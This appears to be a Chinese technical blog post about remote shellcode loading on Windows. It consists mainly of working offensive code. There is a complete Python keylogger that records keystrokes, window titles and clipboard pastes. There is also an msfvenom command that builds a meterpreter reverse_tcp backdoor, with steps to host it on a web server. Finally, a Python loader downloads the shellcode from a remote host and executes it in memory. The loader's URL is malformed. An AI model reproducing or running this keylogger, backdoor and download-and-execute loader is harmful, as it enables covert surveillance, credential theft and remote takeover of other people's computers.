Win32下ShellCode的远程加载

如下Python代码是一个基本的键盘记录器,它使用了一些Windows API函数和第三方库来监视键盘活动,并记录按键、窗口切换和剪贴板操作。以下是代码的主要功能和工作原理:

  1. 首先,代码导入了一些必要的库,包括ctypes用于调用Windows API、pyHook用于钩子函数管理、win32clipboard用于访问剪贴板数据。

  2. 接下来,代码定义了一些全局变量和函数,包括get_current_process函数用于获取当前前台窗口的进程信息,以及KeyStroke函数用于处理键盘事件。

  3. get_current_process函数获取前台窗口的句柄、进程ID,然后通过kernel32库获取进程的可执行文件名和窗口标题。最后,它输出进程相关的信息。

  4. KeyStroke函数是一个回调函数,用于处理键盘事件。它首先检测是否切换了窗口,如果切换了窗口,就调用get_current_process函数获取新窗口的进程信息。然后,它检测按键是否为常规按键,如果是,则输出按键字符。如果按下的是Ctrl+V,它会尝试获取剪贴板的内容并输出。最后,它返回True,以继续等待下一个钩子事件。

  5. 在代码的最后部分,创建了一个pyHook的钩子管理器k1,并将KeyStroke函数注册为键盘按下事件的处理函数。然后,调用k1.HookKeyboard()来注册键盘记录的钩子,并使用pythoncom.PumpMessages()来等待并处理钩子事件。

from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
    #获得前台窗口的句柄
    hwnd = user32.GetForegroundWindow()

    #获得进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))

    #保存当前的进程ID
    process_id = "%d"%pid.value

    #申请内存
    executable = create_string_buffer("\x00"*512)

    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    #读取窗口标题
    window_title = create_string_buffer("\x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(window_title),512)

    #输出进程相关的信息
    print("[ PID: %s - %s - %s ]"%(process_id,executable.value,window_title.value))

    #关闭句柄
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

def KeyStroke(event):
    global current_window

    #检测目标是否切换了窗口
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()

    #检测按键是否为常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii <127:
        print chr(event.Ascii)
    else:
        #如果是输入为[Ctrl-V],则获得剪切板的内容
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()

            print "[PASTE] - %s"%(pasted_value),
        else:
            print "[%s]"%event.Key,

    #返回直到下一个钩子事件被触发
    return True

#创建和注册钩子函数管理器
k1 = pyHook.HookManager()
k1.KeyDown = KeyStroke

#注册键盘记录的钩子,然后永久执行
k1.HookKeyboard()
pythoncom.PumpMessages()

Python的shellcode执行,先在Kali Linux中生成32位Windows的后门shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.160 LPORT=1234 -f raw -o win_backdoor.raw 

接着开启Metasploit进行监听反弹的shell,将shellcode进行base64编码并利用SimpleHTTPServer模块将/tmp目录作为Web服务根目录并建立Web服务器:

base64 -i win_backdoor.raw > shellcode.bin
python -m SimpleHTTPServer

最后,运行一下代码即可:

#coding=utf-8
import urllib2
import ctypes
import base64

#从我们的Web服务器上下载shellcode
url = "http://192.1681.10:8000/shellcode.bin"
response = urllib2.urlopen(url)
#base64解码shellcode
shellcode = base64.b64decode(response.read())
#申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode,len(shellcode))
#创建shellcode的函数指针
shellcode_func = ctypes.cast(shellcode_buffer,ctypes.CFUNCTYPE(ctypes.c_void_p))
#执行shellcode
shellcode_func()

即可完成远程下载并加载shellcode上线

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

山月照空舟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值